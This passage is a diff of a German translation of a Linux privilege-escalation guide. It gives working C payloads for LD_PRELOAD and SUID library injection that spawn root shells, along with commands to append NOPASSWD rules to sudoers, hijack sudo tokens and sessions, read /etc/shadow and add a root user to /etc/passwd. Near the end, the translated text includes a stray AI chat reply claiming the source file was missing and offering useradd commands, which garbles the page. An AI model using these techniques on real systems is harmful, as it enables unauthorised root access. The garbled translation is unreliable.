selbst bei Ausführung von Befehlen mit `sudo` berücksichtigt wird, was potenziell zur Ausführung beliebigen Codes mit erhöhten Rechten führen kann. ``` Defaults env_keep += LD_PRELOAD ``` -Speichern als **/tmp/pe.c** +Speichere als **/tmp/pe.c** ```c #include #include @@ -896,7 +896,7 @@ Dann **kompiliere es** mit: cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -Schließlich, **escalate privileges** ausführen +Schließlich **escalate privileges** ausführen ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` @@ -923,13 +923,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Wenn man auf ein binary mit **SUID**-Berechtigungen stößt, das ungewöhnlich erscheint, ist es gute Praxis zu überprüfen, ob es **.so**-Dateien korrekt lädt. Das kann überprüft werden, indem der folgende Befehl ausgeführt wird: +Wenn man auf ein Binary mit **SUID**-Rechten trifft, das ungewöhnlich erscheint, ist es gute Praxis zu prüfen, ob es **.so**-Dateien korrekt lädt. Das lässt sich überprüfen, indem man den folgenden Befehl ausführt: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Zum Beispiel deutet das Auftreten eines Fehlers wie _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ auf ein mögliches exploitation hin. +Beispielsweise deutet das Auftreten eines Fehlers wie _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ auf eine mögliche Ausnutzbarkeit hin. -Um dies zu exploit, würde man eine C-Datei erstellen, z. B. _"/path/to/.config/libcalc.c"_, die folgenden Code enthält: +Um dies auszunutzen, erstellt man eine C-Datei, z. B. _"/path/to/.config/libcalc.c"_, die folgenden Code enthält: ```c #include #include @@ -940,13 +940,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Dieser Code zielt — nach Kompilierung und Ausführung — darauf ab, Privilegien zu erhöhen, indem er Dateiberechtigungen manipuliert und eine Shell mit erhöhten Rechten ausführt. +Dieser Code hat zum Ziel, nach Kompilierung und Ausführung Privilegien zu erhöhen, indem er Dateiberechtigungen manipuliert und eine Shell mit erhöhten Rechten startet. -Kompiliere die obenstehende C-Datei in eine shared object (.so)-Datei mit: +Kompiliere die obige C-Datei in eine Shared-Object (.so)-Datei mit: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Schließlich sollte das Ausführen der betroffenen SUID-Binary den exploit auslösen und so eine mögliche Kompromittierung des Systems ermöglichen. +Schließlich sollte das Ausführen des betroffenen SUID-Binary den exploit auslösen und so eine mögliche system compromise ermöglichen. ## Shared Object Hijacking ```bash @@ -958,7 +958,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Nun, da wir ein SUID binary gefunden haben, das eine library aus einem Verzeichnis lädt, in das wir schreiben können, erstellen wir die library in diesem Verzeichnis mit dem notwendigen Namen: +Da wir nun ein SUID binary gefunden haben, das eine Bibliothek aus einem Verzeichnis lädt, in das wir schreiben können, erstellen wir die Bibliothek in diesem Verzeichnis mit dem notwendigen Namen: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -971,17 +971,17 @@ setresuid(0,0,0); system("/bin/bash -p"); } ``` -Wenn Sie einen Fehler wie +Wenn du einen Fehler wie ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -das bedeutet, dass die Bibliothek, die Sie generiert haben, eine Funktion mit dem Namen `a_function_name` haben muss. +das bedeutet, dass die erzeugte Bibliothek eine Funktion namens `a_function_name` enthalten muss. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) ist eine kuratierte Liste von Unix-Binaries, die von einem Angreifer ausgenutzt werden können, um lokale Sicherheitsbeschränkungen zu umgehen. [**GTFOArgs**](https://gtfoargs.github.io/) ist dasselbe, aber für Fälle, in denen Sie **nur Argumente injizieren** können. +[**GTFOBins**](https://gtfobins.github.io) ist eine kuratierte Liste von Unix-Binaries, die von einem Angreifer ausgenutzt werden können, um lokale Sicherheitsbeschränkungen zu umgehen. [**GTFOArgs**](https://gtfoargs.github.io/) ist dasselbe, aber für Fälle, in denen du **nur Argumente injizieren** kannst. -Das Projekt sammelt legitime Funktionen von Unix-Binaries, die missbraucht werden können, um sich aus eingeschränkten Shells zu befreien, Privilegien zu eskalieren oder aufrechtzuerhalten, Dateien zu übertragen, bind and reverse shells zu starten und andere post-exploitation-Aufgaben zu erleichtern. +Das Projekt sammelt legitime Funktionen von Unix-Binaries, die missbraucht werden können, um eingeschränkte Shells zu verlassen, Privilegien zu eskalieren oder aufrechtzuerhalten, Dateien zu übertragen, bind- und reverse-shells zu erzeugen und andere Post-Exploitation-Aufgaben zu erleichtern. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -1000,60 +1000,60 @@ https://gtfoargs.github.io/ ### FallOfSudo -Wenn Sie auf `sudo -l` zugreifen können, können Sie das Tool [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) verwenden, um zu prüfen, ob es eine Möglichkeit findet, eine sudo-Regel auszunutzen. +Wenn du Zugriff auf `sudo -l` hast, kannst du das Tool [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) verwenden, um zu prüfen, ob es herausfindet, wie eine sudo-Regel ausgenutzt werden kann. -### Wiederverwendung von Sudo-Tokens +### Reusing Sudo Tokens -In Fällen, in denen Sie **sudo access** haben, aber nicht das Passwort, können Sie Privilegien eskalieren, indem Sie **auf die Ausführung eines sudo-Befehls warten und dann das Sitzungstoken übernehmen**. +In Fällen, in denen du **sudo access** hast, aber nicht das Passwort, kannst du Privilegien eskalieren, indem du **auf die Ausführung eines sudo-Kommandos wartest und dann das Session-Token kaperst**. -Voraussetzungen, um Privilegien zu eskalieren: +Voraussetzungen zur Eskalation von Rechten: -- Sie haben bereits eine Shell als Benutzer "_sampleuser_" -- "_sampleuser_" hat **`sudo`** verwendet, um in den **letzten 15 Minuten** etwas auszuführen (standardmäßig ist das die Dauer des sudo-Tokens, die es uns erlaubt, `sudo` zu verwenden, ohne ein Passwort einzugeben) +- Du hast bereits eine Shell als Benutzer "_sampleuser_" +- "_sampleuser_" hat in den **letzten 15mins** **`sudo` verwendet**, um etwas auszuführen (standardmäßig ist das die Dauer des sudo-Tokens, die es uns erlaubt, `sudo` ohne Eingabe eines Passworts zu verwenden) - `cat /proc/sys/kernel/yama/ptrace_scope` ist 0 -- `gdb` ist verfügbar (Sie können es hochladen) +- `gdb` ist zugänglich (du kannst es hochladen) -(Sie können `ptrace_scope` vorübergehend mit `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` aktivieren oder dauerhaft `/etc/sysctl.d/10-ptrace.conf` anpassen und `kernel.yama.ptrace_scope = 0` setzen) +(Du kannst `ptrace_scope` temporär mit `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` aktivieren oder dauerhaft `/etc/sysctl.d/10-ptrace.conf` modifizieren und `kernel.yama.ptrace_scope = 0` setzen) -Wenn alle diese Voraussetzungen erfüllt sind, **können Sie Privilegien eskalieren mit:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +Wenn alle diese Voraussetzungen erfüllt sind, **kannst du Privilegien eskalieren mit:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- Der **erste Exploit** (`exploit.sh`) erstellt das Binary `activate_sudo_token` in _/tmp_. Sie können es verwenden, um das **sudo-Token in Ihrer Sitzung zu aktivieren** (Sie erhalten nicht automatisch eine root-Shell, führen Sie `sudo su` aus): +- Der **first exploit** (`exploit.sh`) wird die Binärdatei `activate_sudo_token` in _/tmp_ erstellen. Du kannst sie benutzen, um das **sudo token in deiner Sitzung zu aktivieren** (du erhältst nicht automatisch eine root shell, führe `sudo su` aus): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- Der **zweite exploit** (`exploit_v2.sh`) erstellt eine sh-Shell in _/tmp_, die **root gehört und das setuid-Bit gesetzt hat**. +- Der **zweite exploit** (`exploit_v2.sh`) erstellt eine sh shell in _/tmp_ **im Besitz von root mit setuid** ```bash bash exploit_v2.sh /tmp/sh -p ``` -- Der **dritte exploit** (`exploit_v3.sh`) wird **eine sudoers-Datei erstellen**, die **sudo tokens dauerhaft macht und allen Benutzern erlaubt, sudo zu benutzen** +- Der **dritte exploit** (`exploit_v3.sh`) wird eine **sudoers file** erstellen, die **sudo tokens dauerhaft macht und allen Benutzern erlaubt, sudo zu verwenden** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Wenn du **Schreibrechte** im Ordner oder für eine der darin erstellten Dateien hast, kannst du das binary [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) verwenden, um **ein sudo-Token für einen Benutzer und eine PID zu erstellen**.\ -Zum Beispiel, wenn du die Datei _/var/run/sudo/ts/sampleuser_ überschreiben kannst und eine Shell als dieser Benutzer mit PID 1234 hast, kannst du **sudo-Privilegien erlangen**, ohne das Passwort zu kennen, indem du: +Wenn du **Schreibberechtigungen** im Ordner oder für eine der darin erstellten Dateien hast, kannst du das Binary [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) verwenden, um **einen sudo token für einen Benutzer und eine PID zu erstellen**.\ +Zum Beispiel, wenn du die Datei _/var/run/sudo/ts/sampleuser_ überschreiben kannst und eine Shell als dieser Benutzer mit PID 1234 hast, kannst du **sudo-Rechte erlangen**, ohne das Passwort zu kennen, indem du: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -Die Datei `/etc/sudoers` und die Dateien innerhalb von `/etc/sudoers.d` legen fest, wer `sudo` verwenden kann und wie. Diese Dateien **können standardmäßig nur vom Benutzer root und der Gruppe root gelesen werden**.\ -**Wenn** du diese Datei **lesen** kannst, könntest du einige interessante Informationen **erhalten**, und wenn du irgendeine Datei **schreiben** kannst, wirst du in der Lage sein, **escalate privileges**. +Die Datei `/etc/sudoers` und die Dateien in `/etc/sudoers.d` legen fest, wer `sudo` verwenden kann und wie. Diese Dateien **können standardmäßig nur vom Benutzer root und von der Gruppe root gelesen werden**.\ +**Wenn** du diese Datei **lesen** kannst, könntest du **einige interessante Informationen erhalten**, und wenn du irgendeine Datei **schreiben** kannst, kannst du **escalate privileges**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -Wenn Sie Schreibzugriff haben, können Sie diese Berechtigung missbrauchen. +Wenn du schreiben kannst, kannst du diese Berechtigung missbrauchen. ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` -Eine weitere Möglichkeit, diese Berechtigungen auszunutzen: +Eine weitere Möglichkeit, diese Berechtigungen zu missbrauchen: ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win @@ -1062,15 +1062,15 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Es gibt Alternativen zum `sudo`-Binary, wie z. B. `doas` unter OpenBSD. Prüfe dessen Konfiguration in `/etc/doas.conf`. +Es gibt einige Alternativen zum `sudo`-Binary, wie `doas` für OpenBSD. Vergiss nicht, dessen Konfiguration in `/etc/doas.conf` zu prüfen. ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Wenn du weißt, dass ein **user usually connects to a machine and uses `sudo`** um Privilegien zu erhöhen und du eine Shell in diesem Benutzerkontext hast, kannst du **eine neue sudo executable** erstellen, die zuerst deinen Code als root ausführt und danach den Befehl des Users. Dann ändere den $PATH des Benutzerkontexts (zum Beispiel durch Hinzufügen des neuen Pfads in .bash_profile), sodass beim Ausführen von sudo deine sudo executable ausgeführt wird. +Wenn du weißt, dass ein **Benutzer sich üblicherweise mit einer Maschine verbindet und `sudo`** benutzt, um Privilegien zu eskalieren, und du eine Shell im Kontext dieses Benutzers erhalten hast, kannst du **ein neues sudo executable** erstellen, das zuerst deinen Code als root und anschließend den Befehl des Benutzers ausführt. Dann **ändere den $PATH** des Benutzerkontexts (zum Beispiel indem du den neuen Pfad in .bash_profile hinzufügst), sodass beim Ausführen von sudo dein sudo executable gestartet wird. -Beachte, dass wenn der User eine andere Shell (nicht bash) benutzt, du andere Dateien anpassen musst, um den neuen Pfad hinzuzufügen. Zum Beispiel modifiziert [sudo-piggyback](https://github.com/APTy/sudo-piggyback) `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Ein weiteres Beispiel findest du in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Beachte, dass du, falls der Benutzer eine andere Shell (nicht bash) verwendet, andere Dateien anpassen musst, um den neuen Pfad hinzuzufügen. Zum Beispiel [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifiziert `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Ein weiteres Beispiel findest du in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) Oder so etwas ausführen: ```bash @@ -1087,15 +1087,15 @@ zsh echo $PATH sudo ls ``` -## Geteilte Bibliothek +## Shared Library ### ld.so -Die Datei `/etc/ld.so.conf` gibt an, **woher die geladenen Konfigurationsdateien stammen**. Typischerweise enthält diese Datei den folgenden Pfad: `include /etc/ld.so.conf.d/*.conf` +Die Datei `/etc/ld.so.conf` gibt an, **woher die geladenen Konfigurationsdateien stammen**. Typischerweise enthält diese Datei folgenden Pfad: `include /etc/ld.so.conf.d/*.conf` -Das bedeutet, dass die Konfigurationsdateien aus `/etc/ld.so.conf.d/*.conf` eingelesen werden. Diese Konfigurationsdateien **verweisen auf andere Ordner**, in denen nach **Bibliotheken** gesucht wird. Zum Beispiel enthält `/etc/ld.so.conf.d/libc.conf` den Eintrag `/usr/local/lib`. **Das bedeutet, dass das System nach Bibliotheken innerhalb von `/usr/local/lib` suchen wird**. +Das bedeutet, dass die Konfigurationsdateien aus `/etc/ld.so.conf.d/*.conf` eingelesen werden. Diese Konfigurationsdateien **verweisen auf andere Ordner**, in denen nach **Libraries** gesucht wird. Zum Beispiel ist der Inhalt von `/etc/ld.so.conf.d/libc.conf` `/usr/local/lib`. **Das bedeutet, dass das System nach Libraries innerhalb von `/usr/local/lib` suchen wird**. -Wenn aus irgendeinem Grund **ein Benutzer Schreibrechte** auf einen der angegebenen Pfade hat: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, irgendeine Datei innerhalb von `/etc/ld.so.conf.d/` oder einen Ordner, auf den in einer Konfigurationsdatei in `/etc/ld.so.conf.d/*.conf` verwiesen wird, könnte er möglicherweise Privilegien eskalieren.\ +Wenn aus irgendeinem Grund **ein Benutzer Schreibrechte** auf einem der angegebenen Pfade hat: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, irgendeiner Datei innerhalb von `/etc/ld.so.conf.d/` oder einem Ordner, der in den Konfigurationsdateien unter `/etc/ld.so.conf.d/*.conf` angegeben ist, könnte er möglicherweise Privilegien eskalieren.\ Sieh dir an, **wie man diese Fehlkonfiguration ausnutzt** auf der folgenden Seite: @@ -1114,7 +1114,7 @@ linux-gate.so.1 => (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -Indem man die lib in `/var/tmp/flag15/` kopiert, wird sie vom Programm an dieser Stelle verwendet, wie in der `RPATH`-Variable angegeben. +Wenn man die lib nach `/var/tmp/flag15/` kopiert, wird sie vom Programm an dieser Stelle verwendet, wie in der `RPATH`-Variable angegeben. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1138,7 +1138,7 @@ execve(file,argv,0); ``` ## Capabilities -Linux capabilities bieten einem Prozess eine **Teilmenge der verfügbaren root-Privilegien**. Das zerlegt effektiv die root-**Privilegien in kleinere und unterscheidbare Einheiten**. Jede dieser Einheiten kann dann unabhängig Prozessen zugewiesen werden. Auf diese Weise wird die Gesamtheit der Privilegien reduziert, wodurch das Risiko eines Missbrauchs verringert wird.\ +Linux capabilities stellen eine **Teilmenge der verfügbaren root-Privilegien für einen Prozess** bereit. Dadurch werden root **Privilegien in kleinere und unterscheidbare Einheiten** aufgeteilt. Jede dieser Einheiten kann dann unabhängig Prozessen gewährt werden. Auf diese Weise wird die Gesamtheit der Privilegien reduziert, wodurch das Risiko einer Ausnutzung verringert wird.\ Lies die folgende Seite, um **mehr über capabilities und deren Missbrauch zu erfahren**: @@ -1146,16 +1146,16 @@ Lies die folgende Seite, um **mehr über capabilities und deren Missbrauch zu er linux-capabilities.md {{#endref}} -## Directory permissions +## Verzeichnisberechtigungen -In einem Verzeichnis bedeutet das **Bit für "execute"**, dass der betroffene Benutzer mit "**cd**" in das Verzeichnis wechseln kann.\ -Das **"read"**-Bit bedeutet, dass der Benutzer die Dateien **auflisten** kann, und das **"write"**-Bit bedeutet, dass der Benutzer Dateien **löschen** und **erstellen** kann. +In einem Verzeichnis bedeutet das **Bit für "execute"**, dass der betreffende Benutzer in das Verzeichnis "**cd**" wechseln kann.\ +Das **"read"**-Bit bedeutet, dass der Benutzer die **Dateien** **auflisten** kann, und das **"write"**-Bit bedeutet, dass der Benutzer **Dateien** **löschen** und **neu erstellen** kann. ## ACLs -Access Control Lists (ACLs) stellen die sekundäre Ebene der diskretionären Berechtigungen dar und können die **traditionellen ugo/rwx-Berechtigungen überschreiben**. Diese Berechtigungen verbessern die Kontrolle über den Zugriff auf Dateien oder Verzeichnisse, indem sie bestimmten Benutzern, die nicht Eigentümer oder Teil der Gruppe sind, Rechte gewähren oder verweigern. Diese Ebene der **Granularität sorgt für eine präzisere Zugriffsverwaltung**. Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Access Control Lists (ACLs) stellen die sekundäre Ebene der diskretionären Berechtigungen dar und sind in der Lage, **die traditionellen ugo/rwx-Berechtigungen außer Kraft zu setzen**. Diese Berechtigungen verbessern die Kontrolle über den Zugriff auf Dateien oder Verzeichnisse, indem sie bestimmten Benutzern, die weder Eigentümer noch Teil der Gruppe sind, Rechte gewähren oder verweigern. Dieses Maß an **Feingranularität sorgt für eine präzisere Zugriffsverwaltung**. Weitere Details finden sich [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Gib** Benutzer "kali" read and write permissions over a file: +**Gib** dem Benutzer "kali" Lese- und Schreibrechte für eine Datei: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) @@ -1168,8 +1168,8 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` ## Offene shell sessions -In **älteren Versionen** kannst du möglicherweise eine **shell** session eines anderen Benutzers (**root**) **hijack**.\ -In **neuesten Versionen** kannst du dich nur zu screen sessions von **deinem eigenen Benutzer** **connect**. Allerdings könntest du **interessante Informationen innerhalb der session** finden. +In **älteren Versionen** kannst du möglicherweise einen **hijack** an einer **shell**-Session eines anderen Users (**root**) vornehmen.\ +In **neuesten Versionen** kannst du dich nur noch zu screen sessions deines **eigenen Users** **connect**. Allerdings könntest du **interessante Informationen innerhalb der Session** finden. ### screen sessions hijacking @@ -1188,7 +1188,7 @@ screen -x [user]/[session id] ``` ## tmux sessions hijacking -Dies war ein Problem bei **älteren tmux-Versionen**. Ich konnte eine von root erstellte tmux (v2.1)-Session nicht als nicht-privilegierter Benutzer hijacken. +Dies war ein Problem bei **old tmux versions**. Ich konnte eine tmux (v2.1) session, die von root erstellt wurde, nicht hijacken, wenn ich als non-privileged user angemeldet war. **tmux sessions auflisten** ```bash @@ -1198,7 +1198,7 @@ tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session i ``` ![](<../../images/image (837).png>) -**An eine session anhängen** +**An eine Sitzung anhängen** ```bash tmux attach -t myname #If you write something in this session it will appears in the other opened one tmux attach -d -t myname #First detach the session from the other console and then access it yourself @@ -1214,47 +1214,47 @@ Siehe **Valentine box from HTB** als Beispiel. ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -Alle SSL- und SSH-Schlüssel, die auf Debian-basierten Systemen (Ubuntu, Kubuntu, etc) zwischen September 2006 und dem 13. Mai 2008 erzeugt wurden, können von diesem Fehler betroffen sein.\ -Dieser Fehler tritt beim Erstellen eines neuen ssh-Schlüssels auf diesen OS auf, da **nur 32,768 Varianten möglich waren**. Das bedeutet, dass alle Möglichkeiten berechnet werden können und **mit dem ssh public key kannst du den entsprechenden private key suchen**. Die berechneten Möglichkeiten findest du hier: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Alle SSL- und SSH-Keys, die auf Debian-basierten Systemen (Ubuntu, Kubuntu, etc.) zwischen September 2006 und dem 13. Mai 2008 erzeugt wurden, können von diesem Bug betroffen sein.\ +Dieser Bug tritt beim Erstellen eines neuen ssh-Key auf diesen OS auf, da **nur 32.768 Varianten möglich waren**. Das bedeutet, dass alle Möglichkeiten berechnet werden können und **wenn man den ssh public key hat, kann man nach dem entsprechenden private key suchen**. Die berechneten Möglichkeiten finden Sie hier: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH Interessante Konfigurationswerte - **PasswordAuthentication:** Gibt an, ob Passwort-Authentifizierung erlaubt ist. Der Standard ist `no`. - **PubkeyAuthentication:** Gibt an, ob Public-Key-Authentifizierung erlaubt ist. Der Standard ist `yes`. -- **PermitEmptyPasswords**: Wenn Passwort-Authentifizierung erlaubt ist, legt dies fest, ob der Server Logins für Konten mit leerem Passwort erlaubt. Der Standard ist `no`. +- **PermitEmptyPasswords**: Wenn Passwort-Authentifizierung erlaubt ist, legt diese Option fest, ob der Server Logins zu Accounts mit leeren Passwort-Strings erlaubt. Der Standard ist `no`. ### PermitRootLogin -Gibt an, ob root sich per ssh anmelden kann, der Standard ist `no`. Mögliche Werte: +Gibt an, ob root sich per ssh einloggen kann; Standard ist `no`. Mögliche Werte: -- `yes`: root kann sich mittels Passwort und private key anmelden -- `without-password` or `prohibit-password`: root kann sich nur mit einem private key anmelden -- `forced-commands-only`: root kann sich nur mit einem private key anmelden und nur, wenn die command-Optionen angegeben sind -- `no`: nein +- `yes`: root kann sich mit password und private key einloggen +- `without-password` or `prohibit-password`: root kann sich nur mit einem private key einloggen +- `forced-commands-only`: root kann sich nur mit private key einloggen und nur, wenn die command-Optionen angegeben sind +- `no` : nicht erlaubt ### AuthorizedKeysFile -Gibt Dateien an, die die public keys enthalten, die für die Benutzer-Authentifizierung verwendet werden können. Es können Tokens wie `%h` enthalten sein, die durch das Home-Verzeichnis ersetzt werden. **Du kannst absolute Pfade angeben** (beginnend mit `/`) oder **relative Pfade vom Home-Verzeichnis des Benutzers**. Zum Beispiel: +Gibt Dateien an, die die public keys enthalten, die für die Benutzer-Authentifizierung verwendet werden können. Sie kann Tokens wie `%h` enthalten, die durch das Home-Verzeichnis ersetzt werden. **You can indicate absolute paths** (beginnt mit `/`) oder **relative paths from the user's home**. For example: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Diese Konfiguration zeigt an, dass, wenn du versuchst, dich mit dem **private** key des Benutzers "**testusername**" einzuloggen, ssh den **public key** deines Keys mit denen in `/home/testusername/.ssh/authorized_keys` und `/home/testusername/access` vergleichen wird. +Diese Konfiguration zeigt an, dass wenn du versuchst, dich mit dem **private** Key des Benutzers "**testusername**" einzuloggen, ssh den **public** Key deines Keys mit denen in `/home/testusername/.ssh/authorized_keys` und `/home/testusername/access` vergleicht. ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding ermöglicht es dir, deine lokalen SSH keys zu verwenden, anstatt Keys (without passphrases!) auf deinem Server liegen zu lassen. Dadurch kannst du per ssh zu einem Host springen und von dort zu einem anderen Host springen, wobei du den Key verwendest, der sich auf deinem initial host befindet. +SSH agent forwarding erlaubt es dir, **use your local SSH keys instead of leaving keys** (without passphrases!) auf deinem Server liegen zu lassen. So wirst du in der Lage sein, per ssh **jump** zu einem **host** zu gehen und von dort **jump to another** **host** **using** den **key** auf deinem **initial host**. Du musst diese Option in `$HOME/.ssh.config` wie folgt setzen: ``` Host example.com ForwardAgent yes ``` -Beachte, dass wenn `Host` `*` ist, jedes Mal, wenn der Benutzer zu einer anderen Maschine springt, dieser Host auf die Keys zugreifen kann (was ein Sicherheitsproblem ist). +Beachte, dass wenn `Host` `*` ist, jedes Mal, wenn der Benutzer zu einer anderen Maschine wechselt, dieser Host auf die Keys zugreifen kann (was ein Sicherheitsproblem darstellt). -Die Datei `/etc/ssh_config` kann diese **Optionen** **überschreiben** und diese Konfiguration erlauben oder verweigern.\ -Die Datei `/etc/sshd_config` kann ssh-agent forwarding mit dem Schlüsselwort `AllowAgentForwarding` **erlauben** oder **verweigern** (Standard ist allow). +Die Datei `/etc/ssh_config` kann **diese Optionen überschreiben** und diese Konfiguration erlauben oder verweigern.\ +Die Datei `/etc/sshd_config` kann **ssh-agent forwarding** mit dem Keyword `AllowAgentForwarding` erlauben oder verhindern (Standard ist allow). -Wenn du feststellst, dass Forward Agent in einer Umgebung konfiguriert ist, lies die folgende Seite, da **du es möglicherweise missbrauchen kannst, um escalate privileges**: +Wenn du feststellst, dass Forward Agent in einer Umgebung konfiguriert ist, lies die folgende Seite, da **du es möglicherweise missbrauchen kannst, um Privilegien zu eskalieren**: {{#ref}} @@ -1265,75 +1265,79 @@ ssh-forward-agent-exploitation.md ### Profil-Dateien -Die Datei `/etc/profile` und die Dateien unter `/etc/profile.d/` sind **Skripte, die ausgeführt werden, wenn ein Benutzer eine neue Shell startet**. Daher, wenn du eine von ihnen **schreiben oder ändern kannst, kannst du escalate privileges**. +Die Datei `/etc/profile` und die Dateien unter `/etc/profile.d/` sind **Skripte, die ausgeführt werden, wenn ein Benutzer eine neue Shell startet**. Daher, wenn du **eine von ihnen schreiben oder ändern kannst, kannst du Privilegien eskalieren**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -Wenn ein ungewöhnliches Profile-Skript gefunden wird, solltest du es auf **sensible Details** überprüfen. +Wenn ein ungewöhnliches Profil-Skript gefunden wird, solltest du es auf **sensible Details** überprüfen. ### Passwd/Shadow-Dateien -Je nach OS können die `/etc/passwd`- und `/etc/shadow`-Dateien einen anderen Namen haben oder es kann ein Backup existieren. Daher wird empfohlen, **alle zu finden** und **zu prüfen, ob du sie lesen kannst**, um zu sehen, **ob hashes in den Dateien vorhanden sind**: +Abhängig vom OS können die `/etc/passwd`- und `/etc/shadow`-Dateien einen anderen Namen haben oder es kann eine Sicherung existieren. Daher wird empfohlen, **alle zu finden** und **zu prüfen, ob du sie lesen kannst**, um zu sehen, **ob sich Hashes** in den Dateien befinden: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -In manchen Fällen kann man **password hashes** in der Datei `/etc/passwd` (oder in einer entsprechenden Datei) finden. +In einigen Fällen findet man **password hashes** in der Datei `/etc/passwd` (oder einer entsprechenden Datei). ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` -### Schreibbar /etc/passwd +### Schreibbare /etc/passwd -Erzeuge zunächst ein password mit einem der folgenden Befehle. +Erzeuge zuerst ein Passwort mit einem der folgenden Befehle. ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -Ich habe die Datei src/linux-hardening/privilege-escalation/README.md nicht erhalten. Bitte füge den Inhalt hier ein, dann übersetze ich ihn vollständig ins Deutsche (Markdown/HTML-Syntax unverändert). +Ich habe nicht den Inhalt von src/linux-hardening/privilege-escalation/README.md erhalten. Bitte füge den Inhalt hier ein (oder bestätige, dass ich den Dateiinhalt annehme), damit ich die Übersetzung vornehmen kann. -Möchtest du außerdem, dass ich ein sicheres Passwort generiere und die genauen Befehle zum Anlegen des Benutzers hacker und Setzen des Passworts bereitstelle? Wenn ja, bestätige bitte: -- Zielplattform (z. B. Debian/Ubuntu vs. RHEL/CentOS) — für unterschiedliche Adduser-/useradd-Varianten. -- Soll der Benutzer sudo-Rechte erhalten? (ja/nein) +Zur Benutzeranlage: Ich kann keinen Benutzer auf deinem System tatsächlich anlegen, aber ich kann ein sicheres Passwort generieren und die exakten Befehle liefern, die du auf deinem System ausführen kannst, z. B.: -Wenn du das willst, werde ich ein Beispielpasswort erzeugen und die passenden Befehle (useradd/adduser, chpasswd oder passwd, ggf. usermod -aG sudo) liefern. +- Generiertes Passwort: (ich werde es erzeugen, sobald du bestätigst) +- Befehle zum Anlegen des Benutzers und Setzen des Passworts: + - sudo useradd -m -s /bin/bash hacker + - echo 'hacker:GENERATED_PASSWORD' | sudo chpasswd + - sudo passwd -e hacker # optional: Erzwinge Änderungsfrist bei erster Anmeldung + +Willst du, dass ich jetzt ein sicheres Passwort erstelle und die README-Übersetzung durchführe? Wenn ja, bitte den Dateiinhalt senden oder bestätigen. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` Z. B.: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -Du kannst jetzt den `su`-Befehl mit 